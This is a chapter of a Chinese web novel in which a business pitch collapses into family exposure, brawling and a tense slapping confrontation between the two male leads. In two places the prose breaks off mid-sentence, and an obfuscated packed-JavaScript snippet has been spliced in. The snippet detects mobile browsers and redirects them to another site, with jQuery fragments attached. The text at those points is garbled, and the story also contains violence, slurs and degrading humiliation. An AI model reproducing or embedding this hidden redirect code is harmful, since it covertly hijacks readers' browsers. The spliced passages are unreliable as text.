本来是瓦克恩直接做主的事情,现在居然被一个外人搅成这个样子,他坐在那感觉很呆。指望大家大约把他遗忘了,伯尼却坚持用审视的眼光瞄他,弄得他浑身不自在。但终究骑虎难下的瓦克恩,还是决定睁一只眼闭一只眼:只要让龙的传人最终中标就行了,除了刘华龙,谁来我们都让他竹篮打水一场空。结果既定,那过程就留待蓝总权宜处置吧! 全场遂只有伯尼发声:“蓝,损人是否要利己才是聪明人?” 蓝珀的表情一直是那种是笑非笑的:“是啊,没人比聪明的你更会损人利已、背公营私了,每天对着媒体大肆攻击我,华尔街的报纸上的字字句句都是你的杰作,一针见血的评论让我又爱又怕。还好我太笨了,不然没有找律师告晕你才怪呢。” 感觉不仅再说下去要撕破脸了,都没法儿毫发无损地走出这扇门了。伯尼于是向后挪挪屁股,整个身子靠在了椅背上,挺起胸脯又瞅瓦克恩去了。自动把与会目的,从支持项廷变成了看老同学笑话。 工作人员让大家伙散开,热闹没什么好看的,都快去准备自己的报告吧,但是谁能忍住不时不时往这儿瞟瞟。 可连对手都看不下去了,刘华龙兴许是觉得这样胜了也不武,富态的手合十地拜拜:“蓝总,您大人有大量就别拿小丫头开涮了。” 蓝珀:“我还没说完呢,你觉得我说的不好那我再换个方式说。” 秦凤英:“哎呀咱家珊珊是个锤子会个棒槌,那个嘴笨的跟棉□□似的!” “真的不会吗,”蓝珀慷慨道,“重赏之下必有勇夫的吧?” 沙曼莎又有活干了。因为蓝珀说,只要珊珊上台,立刻给她打一百万。 有钱人找乐子的办法真是千奇百怪,但有钱就是好,多的是人给他面子。大家竟有起哄的架势了,尽管如此,珊珊还愣在那儿。喜从天降,秦凤英又是推她又是拧她:“小姐,你可是咱家的希望工程啊!” 珊珊大大的眼睛就只看着项廷,好像他的脸上就藏着解题答案。两个人毫无保留地信任着对方一样。 “看看,”对此蓝珀只能够笑一笑,似乎为了低就他们的文化水平,故意地说,“还心里有大大灵敏的犀牛呢。” 秦凤英说:“您别跟小孩一般见识!” 蓝珀经验之谈:“你这是小孩子管教得太晚了,从小不惯着,就不会这样了。这么大了,不太好管了啊。” 珊珊哀求:“项廷,你说句话呀。” 项廷不是不想说。虽然理智告诉他今天这事怪不上蓝珀,人在江湖混哪能不挨刀,你强我弱那我唯有低头认受,但在情绪上未免还是有点迁怒于他。项廷怕自己一开口就三句话,一你是不是进入更年期了;二把你那张嘴管好,别乱喷乱叫;三管得好管不好我他妈都干死你!看着蓝珀高高地翘个二郎腿,更是火暴,把腿放下来,腿给我张开,你再看你是什么样?蓝珀长得就很爽。很难解释为什么用这个词形容。 项廷脑子里炮声轰隆,语气还是尽量平直地说:“蓝总,能不能借你五分钟?就咱俩,聊聊。” 全世界都看出来蓝珀因为个人怨隙在有的放矢了,项廷思来想去,实在不知道自己错在何处,他到底又有什么错误犯在蓝珀头上了?想破头没用,话说出来比不说强,他要把蓝珀拉到外面小走廊上,让他把近期的思想状况和自己汇报一下。只要抓住了主要矛盾,顺理成章,我给你面子,你给我台阶。 蓝珀一下就打消了他的幻想:“我跟你聊?我跟你呀真是叫无聊。别对你的办事套路太自信了,平日游手好闲,在下城拉帮结派,借我的名号扯虎皮拉大旗,承揽项目倒手转卖,帮人跑门子等等等,狗都没你会钻墙打洞找门路,小小的狗,大大道理?一条狗,也配跟我聊?” “这不聊那不聊的总得有点聊的吧,”对方火气这么大,机关枪乱发,但项廷看着他,只说,“聊聊,你是不是来真的?” 十年一别如雨,蓝珀其实压根不懂与集家人仇人身份于一身的男孩的相处之道,又不敢往深处想,他内心里老有克服不掉的恐惧,怕陷得太深就回不了头,怕什么生动而热烈的东西真的蹦出来把自己吓一跳,更怕极了,他最怕无法给族人的亡魂一个交代。所以经常心里慌得厉害。 就如现在,见项廷好像真的动怒了,蓝珀顿时没了主张,忙说:“什么事都要论出个真假来,这事就没法聊了。我没别的意思,你不要跟斗架公牛一样碰不得,我不能跟你每聊一句都再三思量。” 项廷说:“那我还有选择的余地吗。” 可见着珊珊往项廷身后躲了躲,蓝珀马上笑了,又变成了那副为了刻薄而刻薄的嘴脸,咬字很准,感情更浓郁:“我看没有。” 但是秦凤英已经把女儿扯出来了,要把她强行拽上台。 因为一百万又落不到旁人口袋里,旁观的都唏嘘。刘华龙做了个点钞的姿势:“为了那点钱,闺女都敢卖。” 秦凤英:“你清高!” “你这叫贪多嚼不烂,”刘华龙把手伸进腋下夹着的包,掏出一张时长五分钟的发言稿来,这一看就是高手,提前准备好了对付主办方可能出的幺蛾子,给项廷递了个“学着点”的眼神。 秦凤英见状:“你算盘倒很如意!” 刘华龙红光满面道:“蓝总,您看我主讲,这丫头敲边鼓,我也不贪,就十万,咋样?” 十万不是重点,重点是能彩衣娱亲。刘华龙看出来,蓝珀就是点名要人出丑罢了。刘华龙很有觉悟,中国美国都一样,都得为先富裕起来的人民服务。 蓝珀果然笑道:“爽快,你这样的朋友我可是交定了。” 费曼出去接个电话的五分钟,回来时只见瓦克恩把他的位子占了,附耳跟蓝珀说,咱君子不跟小人斗,没有那份闲情逸致,所以长老啊快收了神通吧!见费曼来,瓦克恩赶忙让座,回自己的位却被伯尼的电脑包抢了。戴莉指着后台进场的那扇门,问丈夫那儿怎么有个人影,是不是我眼花了?没眼花,此乃白希利隐居幕后,进退有度。独眼视力佳,那叫一个纤毫毕现,嘉宝手里一袋薯片里有几片,伯尼笔记本电脑散热风扇有几片扇叶都可以清清楚楚数出来,白希利数了珊珊一共哭湿了十张纸。秦刘两位一左一右分尸似的拽她,刘华龙抢不过就说好男不跟女斗了!他正把精心装帧的宣传册分发到各位评委手中。项廷拿了一本看,深感在学资本主义皮毛吹社会主义牛逼的方面,刘华龙才堪一代宗师。 瓦克恩待不下去了,离席。伯尼问他干嘛去,瓦克恩别的借口都不好使,说接凯林放学去。 秦凤英得胜,把大红的围巾绕到玫红的衣服上,理了理头发,拖着珊珊就上台。 珊珊大喊:“妈,我不要!” 秦凤英:“妈这是让你见见世面,练练口才!技多不压身!” 刘华龙:“没本事就靠边站,娘们不挣钱还糟蹋。” 珊珊大叫:“爸,你够了!” 听得懂中文的,都静了。 刘华龙嘴角直抽,他万万没有防到私生活会在这儿被人抖出来示众。他们两口子于铁岭合办“龙凤呈祥”,养鸡起家,二十年间把鸡一路养到了曼哈顿。可是同甘共苦,不能同享富贵荣华,先是刘华龙包二奶,后有秦凤英不吭声瘦了三十斤,显然是想再次拥有择偶权。秦凤英一次进货出了车祸,再不能生,刘华龙当夜把母女俩踹了,现育三个儿子。 “话密了啊!”刘华龙一把攥住珊珊手腕,要把她赶出去,“别在这添堵,上家呆着去!” 项廷上前猛地扬开一龙一凤,诸外国人茫然不知发生何事,但英雄救美他们还是看得懂的。 一开始这家子发生肢体冲突的时候,现场安保想要有所作为,但见了蓝珀饶有兴味的笑容。老板都唯恐天下不乱的样子了,他们便秩序维持得很有限。况美国人本就有成见:任何西方制度的设计都经不起中国人的糟蹋,蛮夷返祖是这样的。 以至于现在项廷把女孩保护在身后,凤不干不净地叫阵,龙撸袖子要干一架,竟没一人管了。难道要蓝珀远程施法,凭着念力来打破这如此刺目惊心之画面吗? 戴莉两手各拉着龙凤,开始做和事佬。 项廷对着蓝珀说:“你有什么事冲着我来,一个大人欺负小孩,一个男的欺负女的,不觉得特没品吗?” 珊珊戚容,拽住他的胳膊:“气头上的话,你就别说了,我去就是了。” 项廷转头说:“你玩不过他,他太精了。” 别人笑项廷不知道天高地厚,不知道二三得六,笑他的团队是喜剧班底,项廷却把每个人当作他打胜仗要用的兵,个个都是自己革命的火种。蓝珀间歇性发疯,项廷是习惯了的,可他今天的疯又具有一定的极端性。项廷所谓的精,指的是一会珊珊上了台被水枪滋都有可能。蓝珀无聊的一拳伤害了自己一个无辜的兵,项廷不能够忍。一笔写不出两个义字来,你蓝珀这不是陷我于不义吗?好那fine,你要战,我便战!革命家的心理状态应该像洪湖水一样经得起风吹浪打,你把我打成筛子我都不带闪的! 男的十八岁就是项廷这样,他需要在幻想世界中当大英雄,甚至当大魔王。总之就是要牛逼,要逆天而行,不介意悲壮。 一腔孤勇的他并不知道,此时对着他坚毅的背影,有一颗女孩的心偷偷交给了他。泼悍的妈狠心的爸,刚刚还为了抢着贱卖自己差点大打出手,钱让他们变得不人不鬼,项廷已经不止一次把她从鬼门关救回来了。这一次,她决意做些什么,回报于他。 而蓝珀,忽然间被一场突如其来的雨淋了一样,感觉成片成片的雨雾都在眼前扫来荡去,他快看不清这是怎样一个世间,说了句:“活新鲜。” 他的手都快摸到桌上的花瓶了,想想又收回来。今天蓝珀太过分了但他自己意识到了。面对这对同仇敌忾的小情侣,他没有再问下去,他已经得到了答案。这就是他这一个礼拜,数着一颗一颗念珠过日子,卧姿比小龙女睡绳子还僵硬,盯着鱼缸的鱼上下翻飞五次后才允许自己看一次手机,有没有来电?没有,等来的答案。 费曼说:“你一定一个晚上没睡,这里没事了,你可以先走了。” 话音刚落,只见珊珊朝这边庄重地走来。刚刚还不敢直视费曼的她,竟夺了费曼手中龙的传人集团的画册。一边翻阅,一边道:“爸,这就是你说的宣传册?” 父母那厢刚给戴莉安抚静了,他俩女儿这厢主动燃起了烽烟。刘华龙脸上顿时风云变色,他刚刚要把人叉走,就是因为知道闺女从小就虎,随她妈!可是事情似乎还没那么坏,珊珊又不会讲英文,她鬼吵鬼闹,鬼佬也听不懂。 于是刘华龙装作无事发生,很和气地要把珊珊拉走。费曼一开口却是纯正的中国话:“让她说下去。” 刘华龙:“哈哈,她个小妮子有啥好说的嘛!” “当然有的说了,”珊珊冷冷一笑,将册子双手举高,转着圈向内场所有人展示,她着实停了一下,但鞋油的香氛赋予了她勇气,“你说宣传册?我说自首书!” 册子翻到第三页,此页大标题“因为诚信,所以敢说”,深度报道刘华龙如何进行深圳龙的集团旗下22家种鸡场、3家孵化厂、84家肉鸡厂、2家屠宰厂、1家深加工厂以及8家饲料厂的一体化管理。特特强调其自动掏膛及清洗系统,白羽鸡在一个低压高频的带电水箱电晕然后在舒缓的正版贝多芬中进行人道屠宰,流程全部符合清真规范。 “爸,你真不知道咱的鸡都是怎么死的吗?工人们就地把鸡往墙上一掼,要么在一群鸡身上踩来踩去,还有人用拳头打鸡,活生生脖子扭断了的,大夏天笼子里直接痦死的,有的嘴里被塞烟塞口香糖,活的毛都不去了下开水烫死!” 第十页具体介绍厂子。刘华龙投其所好,打听到蓝珀封建迷信,遂写道,养鸡场的选址体现了道教思想和山水精神。 “你这图是P的吧?想当年我们一家三口那日子过得多苦啊,我妈吃喝拉撒睡全和鸡在一起,爸你呢一砖一瓦自己盖的厂房,但都是违法建的。有的建在农田上,有的靠河堤,有的高压电线底下,还有的在城乡结合部。咱家那环境,臭气熏天,苍蝇成群,跳蚤遍地,人吃的都是泔脚水,鸡还上哪谈什么卫生标准啊!” “你你你你!今天不打死你这个死丫头!”刘华龙只能在原地狂怒,他早就被人制住了。也许是现场安保终于介入了,也许只是费曼的亲卫。 “还有能耐打人呀,猪肠子一条,提都提不起!”秦凤英说。 女儿的话真解气啊,但谁想到她无差别攻击:“厂里的鸡死的都八成了,一大堆死鸡还从禽病院直接流到市场上了。发现你家鸡里头‘包心包肝’呢,政府部门都盯上你们了,你俩才偷渡跑了!中国那是要坐大牢的,在美国又成了大黑户!” 全场肃静。 项廷拉住她,低声说:“你别再举报了。” 珊珊超大声:“我就要举报,我实名举报!” 项廷说:“那也没有自己举报自己爹妈的。” 珊珊嘶喊:“我没有爹没有妈!对,我就是有父母的孤儿!” 秦凤英突然暴起,几个大男人竟摁不住她一个。将珊珊按倒在地,骑在她身上就打:“吃里扒外的东西!” 项廷赶紧把她们分开,试图当人肉盾牌,可坦克再硬也抵不住重火力。珊珊咬了她妈的手,让她妈先松手她才松口。秦凤英一把抓住女儿的头发,马尾松掉了,一包鞋油味迸发出来。 君子不立危墙之下,费曼当然不会待在这儿了。正要跟蓝珀一起走,刘华龙连滚带爬来:“费总,费总,明鉴啊!啊,我们这个畜禽养殖业,风险大、利润小,是一个自古以来比较脆弱的行业……” 费曼站了起来,看蓝珀还坐着那。淡极无色的兰花,已经枯朽。 费曼征询他的意见:“蓝?” 蓝珀早就完败了,就在项廷挺身而出保护他的女孩的时候。蓝珀喝香槟无法下咽,酒里隐藏着丝丝果酸,他去过洗手间吐掉了。听力也有点失灵,坐飞机起飞时候气压变了,耳朵里差不多他现在就这声儿,嗡嗡嗡嗡的。 刘华龙辩解中:“小孩子胡说八道的话您别上心,哈哈,子不教父之过,我回去保准管教她,现在不管教,长大后就卡拉OK酒吧,成为一个小太妹了!哈哈……” 蓝珀没有灵魂了地跟了一句:“是的,不听话就该打。别看十几岁的孩子,坏心思很多。他做出来的事哪里还是个人呢。” 蓝珀终于站起来,刘华龙李莲英状忙要跟上,却遭老赵一拳轰倒。 老赵是把珊珊看大的,有什么好吃的,好喝的都会先可着她。他亲闺女暴病以后,多羡慕刘华龙有个这样健康活泼的女儿啊。可此人重男亲女病入膏肓,不仅不生儿子决不罢休,珊珊长这么大了,跟他爹吃个饭只能在旁边站着,布菜,她弟病了她得侍疾,吮疮。这一拳,蓄力多年,沉默中爆发,刘华龙一时再没有爬起来。 “我叼你老母!”老赵看似招出完了才说词儿。 却不是对着丧失战斗能力的刘华龙,竟对蓝珀。 蓝珀故意羞辱珊珊有目共睹,老赵是更恶心他那副汉奸模样,假洋鬼子,把自己国人的人权剥夺得精光!家破人亡的惨剧,在人家眼中只是匹夫一怒的笑话! 这下现场安保忽然比肩了白宫的级别,齐刷刷枪亮了出来,爆头的架势。感觉居然还有自己人抱着他不给他上,老赵震怒,苍天,中国人怕是腿生根了!直不起来了!自己跪着,还质疑站着的人! 低头一睐竟是珊珊:“他给的治病钱啊!叔!” 蓝珀叫项廷不要说的,项廷却不慎跟珊珊提起过。老赵直立当场,但珊珊一直摇他,老赵揣口袋里,当初送给项廷的毕业礼物项廷没要的,今天带来预备项廷事必不成当安慰奖的,刚才准备用来行凶的祖传七星连珠菜刀,咣当一声落了地。差点捅死了写入族谱的恩人,老赵有心脏病,吓得昏死过去,凉水都没泼醒。 项廷忙做复苏,珊珊跪在旁边捂着脸呜呜地哭了出来。秦凤英奔过来看,被刘华龙的尸体绊了一跤,磕在地上两人又动起手来,珊珊更号啕大哭。但有人借机报复刘华龙过来偷偷踢一脚的,珊珊小母狮般扑了上去。旁的厂商看龙的传人不中用了,这么大的蛋糕剩下来一口也不瓜分也不现实,不人性,几家商量着商量着,又为分配的问题吵吵叭火,磨刀 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15398258|168652||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 霍霍了。会场此时可谓家家流血如泉沸,处处冤声声动地。唯有白希利闹中取静,拨打了911。沙曼莎也在打,她报警,白希利救人。 费曼他们早就走了有好一会了。到了中庭,发现瓦克恩,他正要点烟,忽然停下,问蓝珀介不介意。蓝珀说没问题,你随便抽。是的,连瓦克恩都察觉到,蓝珀似同处于流沙之上,那么脆弱的样子。 “结束了吗?”瓦克恩吐出烟。 费曼摇了摇头。瓦克恩试着从他的面部表情里捕捉点什么,没成功:“其实这没那么复杂,麦当劳只是需要一个当地的线人,关系过硬。” 费曼说客观事实:“刘来自辽宁,他的公司在深圳;项是根生土长的北京人。” “好吧,这也许是个短板。” “厂商的资质也需要再审核。”费曼意译了一下珊珊的举报。 对他来说,这举报其实有点多余了,费曼在高盛第一高薪真的值,他单看了财务报表,就把实情心知了七七八八。 瓦克恩也表示举报无效:“对我来说他们都一样。麦当劳的品质达到了这个行业可供给的最上限,我们只会靠自己去建立上游。所有的供应链都有着现成完备的体系,用不着中国人来操心。” 费曼说:“我同意你的观点。但我唯一的感受是中国市场很大,你完全有机会将它做到历史上从未有过的高度。而中国是一个飞速发展,地区之间贫富差距急剧拉大的国家,这一点上,地理位置就显得至关重要。” “你想说让我把第一家店就开到北京去,跟肯德基硬碰硬、头对头?” “每个人身后都有一个看不见的靠背。”费曼只说了这句。 典自麦当劳上任总裁克罗克,发现集团上下安逸守成,遂命人把每个经理人的椅子靠背统统锯掉。意味着,领导者要有冒险的进取精神才能扭亏为盈。 捧一踩一瓦克恩能高兴吗,绷着脸说:“合作商的问题,董事会已经过会了。” 过程让蓝珀爽爽就行了,他伺候蓝珀的任性也不是一两回了,但终归结果上,瓦克恩不可能答应利益天平的变动。再说下去瓦克恩恐怕就会说,我们之间有过君子协议,所以敬你三分,但你俩说到底也只是芸芸投资人之一,嘿,爱投不投! 正心里骂着,忽见伯尼快步溜过,领着后面几个扛着长枪短炮的记者。只是记者倒也罢了,瓦克恩猛觉面善,那好像是动保的人士!前不久不就这帮人爆料,麦当劳购置高速旋转研磨机粉碎小公鸡打成饲料喂小母鸡,用钳子给鸡断喙,为了分公母去插鸡的□□,这一比,龙的传人叫什么虐鸡? 瓦克恩短跑速度冲走了,留下高盛的两人。 “你知道过会的时候,我在吧?”花园的微风轻轻吹动着蓝珀的鬓影,倚着小窗,留给费曼一个长长睫毛的剪影。 “知道。” “那你也知道,我不可能让项廷赚到这个钱的吧?”蓝珀说。 “看得出来。” “所以王子,你是火星来的吗?”蓝珀把脸向他侧了过来。 “蓝,这是工作。” “那么工作之外,你对我最大的让步,是不是也就是只让一个高尔夫球?” 费曼的确有着急的微表情,但这个表情又在严肃冰冷的范围内。蓝珀转身走了时,费曼的微观明显放大到宏观的尺度了。 蓝珀不是无计划,随机地走的。他盯着会场的方向,见项廷追出来了,他才开始走。鞋底粘了胶一样。 眼下费蓝两人又是一个在电梯里,一个在电梯外了。不同的是这次蓝珀不让他进来,费曼的手挡着门不让它合上。 项廷追上来的时候,只见电梯门跟个剧院里闭幕时的大帘子似的,费曼还站着观影,不动,等什么呢,彩蛋吗? 蓝珀消失了。项廷冲过去,猛拍电梯按钮! “满了。”费曼神思不定地说。 “楼梯啊!” 项廷拔腿就跑,且打了酒店前台的电话,谎称会场闹出人命了,杀手在逃,要他们电梯全停了。 于是蓝珀下到三十层,只好出来走楼梯。只听上面咚咚咚,项廷以火星撞地球加速度接近目标中。 此时蓝珀迎面碰见一座山。原来凯林白希利都有谋害项廷之心,白希利亲征,凯林掌粮草大后方。见了蓝珀,凯林抱着的巨量试卷稀里哗啦全掉在地上。 蓝珀不给他任何花痴的机会,直接说:“马上你见到谁,直接往死里打。” 可是凯林哪里拦得住项廷呢,这么说肯定没什么感觉,但是想象一下一只哥斯拉一样的大狗莽足了劲向你冲来的感觉,凯林不给撞翻就不错了。实际上项廷也没经过他,项廷几乎是从上一个楼梯平台跳到下一个的,飞一般的感觉。但是凯林的眼前还好多星星晃来晃去,满心满眼蓝珀方才嫣然转身的小模样,辣得凯林哧溜哧溜的,想喝他的洗脚水,想吃他的口嚼酒。凯林当真不是不认得自己爸爸的金主爸爸,但后来者费曼路过时凯林一个火腿似的巨肘砸了过去时,他自己真甚少知觉。要不是蓝珀那双眼睛够媚的,弄得凯林心里都毛毛,不觉通身酥软,力去了大半,英王子现已薨了。 蓝珀被抓住了两次,两次都是不要命地挣扎,项廷怕他把自己摔着了,就放手让他再逃。 第三次,项廷把他一路拽到了酒店的洗衣房。 项廷无论说什么,蓝珀都咬着唇,一个字不往外露。 如果是清醒的蓝珀,他会说诸如,“万里长征第一步,你就以为到延安去啦”,“姐夫教你教不会,南墙一次就教会了”,类似嘲讽他失败的话。 也可能优雅知性地说,“大好青春就该去追逐自己的爱情啊,哪怕性关系就性关系还不好意思说吗”,“难道怕我让你负责啊,放心好了,姐夫还没有到追着让人负责的地步”,然后巴掌甜枣全程节奏不断,将其轻轻拿下,但只留下一方手帕让他晚上好做梦。 要是清醒到了顶点,他会说,“你这个年纪的男孩,和我不过是朝露。找个机会,就今天,我要跟你断了。” 可蓝珀张不了嘴,他的牙齿已经抖了半个小时了,一直不停。头都忽然开始暴疼,无法自制。 开会前,他问秦凤英,珊珊还单身吗。秦凤英很怕与贵人刚建交就断交,含糊说年轻人搞对象嘛,有今没明儿的。蓝珀按捺不住追问下去,秦凤英觉得女孩主动那多赔钱,便倒反天罡,说项廷天天纠缠夜夜在珊珊楼底弹吉他,小虎队的歌唱了个遍。说感觉他俩这样一种朦胧的感觉很好,太早把关系搞成那种所谓庸俗化的早恋,怕家里不同意。蓝珀笑了,说我同意。秦凤英听了竟不敢再推进联姻,似乎是看蓝珀真够辛苦的,板着一张那么漂亮的脸蛋,她都为他感到难受,心里揪。 一家之言未可轻信,但是蓝珀眼见为实,所有一切,一一都对上了。首先是珊珊送饭团的时候,项廷连推都没推一下,看出来他是很享受的了;接着项廷护着珊珊的时候,如果没有爱情催着肾上腺,他干这么摆胳膊,手的反应是没这么快的;最后珊珊说治病钱谁出的时,惊破的不止有老赵,蓝珀也才后知后觉项廷当初借钱时说什么美人配美玉的屁话,都是为了他的心上人呀!老赵女儿又不是珊珊,可蓝珀已经彻底无厘头了。蓝珀的大脑里没有,且永远不会系统性地整理这件事了。他又怕了。 蓝珀闭着眼避免眼球抽筋。世界黑掉了,所以他就更清晰地感受到,心里有那么一块肉并不如常,麻痒刺痛的感觉,却抓不到它,须用另一只手,一只不属于自己的手。 项廷哪有这个灵性,这个觉悟?看见蓝珀问话也不答,只一副捧心的样子,真西子掩面,比之无色。项廷要扶一下他坐下来。 谁知刚碰到蓝珀,他就发出一声抹了十八道弯的尖叫。蓝珀的音域海豚也要叹服,他在这叫,北极得大雪崩。 下意识项廷捂他嘴。 蓝珀被抱住了,感觉到项廷砰砰火热的心跳声,蓝珀的身体也有些膨胀起来,尤其胸口气胀都有血腥的味道了。 蓝珀三辈子没涌出过这么大的力气来,眼如白兔,手如毒蛇,啪一声震天的爆响,鬼神也惊! 项廷一整个人掀翻过去被打倒在地,真懵了,不知蓝珀一掌掴给他干哪来了?见到地上汹涌正滚的十个八个洗衣液桶,白花花的粉铺了一地,灰飘如仙境,始知人身尚在人世。 项廷还没醒过味儿来,今天的云真白啊,像白云一样……只见雪白的蓝珀一团乌云似的在头顶上压了过来。 蓝珀也是实在没气儿去捡什么词了,就这么叫:“贱狗!跪下!” 72. 镜鸾分后属何人 跪下? 要依项廷的脾气,哪怕打这一巴掌的是美国总统,他天不怕地不怕的,现在不蹿起来打得人满地找牙?也该给美国总统立立规矩、长长记性了!蹿都不必蹿,从徒手格斗的角度看,对手的下盘实在不堪一击,扫个腿就够了! 可此人不是别人。项廷稍微定定神,气息还没有匀过来,脸上又挨了不少记连环耳光。 他这辈子挨的耳光全是蓝珀赐的,为了争地盘、拔份儿,项廷过去的确经常一言不发便冲上去和大院其它子弟打成一团,但大老爷们干架谁会呼巴掌啊?传出去都得给全北京的笑话。项廷当然也没想过耳刮子能把人打得这样重,第一下他像陀螺似的飞出去时,落地牙床就出血了,只是因为年轻凝血功能太好,那血点冒个头就没了。项廷呆坐在地上至少两分钟没动。反而是蓝珀不停地变换着步法,很忙。项廷不懂为什么有人打个耳光都能左支右绌。项廷在想有空教他几招防身术。 总体上这完全是鸡蛋撞石头的行为,多少颗鸡蛋来撞也是落得个满地流黄的下场。蓝珀的手早通红了不说,上半身全震麻了,肋骨像给抽掉了疼,内脏没有什么大问题,只是胃里不太舒服,久久地缓不过来。 终于他用手抵住嘴咳了两下,然后就陷入深深深深的沉默,似乎进入了独自悲喜的境界。 “完事了吗?”项廷箕踞而坐,吐出一口血沫,“完了你还是有事儿说事儿吧,我没让人这么抬举过,这事儿再多来几次,我非得……” “你非得要怎么样?”蓝珀力气已经泄掉了,可是高声惊叫。 “要不是看着你可怜,我……” “我可怜?我真可怜也不要你来可怜!”人气到极点就会手脚发抖,砸东西,蓝珀平静下来却只想哭,“你把我的命拿去吧!” 项廷及时地不再发表看法。半晌,他和气地问:“你看我像受虐狂吗?” 他本来想说,蓝珀,你是虐待狂吧?你有什么疾病?心理变态?双重人格?我与你无忤无怨无尤,今天你就一定要使出这么多下作的绊子,随心所欲地当着所有人的面贬低我,逼得我为之不眠不休的项目,结果人仰马翻几乎以春晚小品的方式收场?置我的事业于死地尚不称心,还得把我的人格踩成你鞋底下的泥?还是你其实没病,天生无病也呻吟?有病没病,我都来给你治一治!药到病除! 但见了蓝珀的牙齿咬得连腮帮都微微鼓出痕迹来,项廷心里豁的一惊,真怕他把脸皮撑破了。 世界上怎么还有这种窝心的事?为了怕一个恶人受伤,自己只好委曲求全地受这个恶人的欺负,这叫他妈的什么事? 他强咽下这口气,靠着墙合上眼睛,苦苦思索了一会。想得很认真:红颜每多这般薄命,似乎只有坚强有力的人才有本钱温柔,或许蓝珀的疯魔通常只不过是软弱,这种软弱若没有得到充分的呵护,又很容易变成尖酸刻薄罢了。和蓝珀在一起就不可以是非辨得太明,泾渭分得太清。毕竟他都已经熬着活了,每天从晨到昏,虚幻地等待着什么,春天去了也就忧郁致病,不用北风的摧折也会致死。 所以项廷才从自身出发找问题。他没有受虐癖,过去没有,从今往后都不会有,敬望蓝珀知悉。 蓝珀坐了下来。刚抽噎过似的,美好的线条微波荡漾,正散发着一种浓烈的人世忧伤。 “怎么了?这么难看的脸。”项廷处处小心,都不敢从地上爬起来。 “你别总是找我说话行不行?我真的真的好累好累。” “那你一个人待着七想八想的不是更累吗?我陪你说说话就不累了。” 这句话,项廷说得也特别反他自己的常识。项廷乃胸襟万里开阔之人,极少有真正不快乐的时候。真不快乐的时候,决不想让身边人多说一句,他自己沉淀会儿就好了。他从来赤条条毫无挂碍,觉得心猿意马只会增加他身上的重量,把人压垮。蓝珀是他有过,有且仅有而且挥之不去的杂念。 项廷恭谨地问:“是不是有谁给你什么刺激受了?” 他发现,他俩经常没有什么要紧的事情,就是一句话不对头,形势就急转直下了。他想这就像两国打仗,反正是要打,怎么打起来就不重要了。他直接亮了白旗还不行吗?可蓝珀一遇事最爱什么也不说,这简直成了他一种定了型的心态,他像潜水兵一样潜在深水里。项廷给搞得很犯堵。 但他理不理自己,是他的事,项廷觉得还是要说点什么的:“你自己这么赌气,又好了谁呢?好了让你不痛快的人啊!让他高兴,这口气你想想,怎么咽得下去?” “你跪下我就说。”蓝珀许久才冷冷地把眼神抛过来,绷紧了的脸愈显得清丽无俦。 他特地把重音放在那个“跪下”上,成心羞辱人。 项廷觉得搞笑:“你先说,我看看怎么个事再说。” “你不跪我不说。”蓝珀非常认真。 项廷着实愣了一下:“你这什么癖好?一会儿一个下跪,真把人当狗了?” “除了你又没别的人。” “我说什么?我很荣幸?” “项廷,”蓝珀一泓清水似的眼睛望着他,“我必须一直一直欺负你,一秒钟不欺负我就会好内疚,我会觉得我谁都对不起,我不如立刻死掉好了。” 蓝珀从没胆敢把自己剖析得这么明白过,他说出来立马开始后怕。其实没什么,人总需要有那么点时刻,说两句实话。说出来就豁出去了。 蓝珀懵了,更不用说项廷了。 当你千娇百媚的心上人用都快腻得滴出水的声音说,他有个想法,他有个小要求,他有个小心愿,那就是请你务必跪在他的脚边当他的狗,否则他会难过到自杀,项廷现在就直面这么离奇的事情。 追问下去,蓝珀果断又自闭了,说了半天说不到点子上,薄红着一张脸痛苦地哼哼。 “到底谁招惹你了?”项廷只能穷举,逐个摸排道,“我?老赵?秦姐?嘉宝?珊珊?” 项廷也没指望他给答案。反思,应该还是自己霸王硬上弓这事儿,蓝珀没能过得去。 正这么努力理解着,蓝珀忽然不受控制地说:“还压轴呢?” “什么?”压轴一般指倒数第二个,但项廷回忆了一下,嘉宝除了吃就是喝,印象中没跟蓝珀说过一句话啊? “姓都不带了,你要不要点脸?” 项廷仍然一脸疑惑。 “刘珊珊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15398259|168652||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' !你凭什么不带个刘?” “有没有可能因为她姓秦?” “哇,这你都知道呀!”蓝珀眼睛一下就瞪大了,“聪明宝宝,不错,不错,真的不错。” 项廷有了防御的意识,小心点为妙:“你这是正话还是反话啊?你别讽刺我了,我是就事论事。” 但是一理通百理明,项廷自以为找到了症结,高兴道:“哎!总之我代她说声对不起了,你就得饶人处且饶人一点,行吧?” 蓝珀继续一厢情愿地以为秦刘珊珊姓赵中:“她治病要钱对吧?我给!我给到她见阎王!让她上个台有什么大不了的?一百万美金我能买一百个脱衣女郎给我跳上十年不带重样!一百万你见识过么?五辆劳斯莱斯二十台保时捷,凑巴凑巴中央公园边上买套房都够了!这钱能让她拖家带口飞上青天了!什么买不来?” “人的尊严买不来,”项廷平静又很是严肃地说,“你怎么打我、骂我,作弄我,我都认了,我欠你的,我还不完。但我的人跟着我来,不是来受你心血来潮的气的。”他的人说的是他的兵,爱兵如子,用兵方可如泥。 蓝珀像精心琢出来的象牙人像,似晦似明的光影下,完美而非人。 项廷说:“听见没有,听见点头啊。” 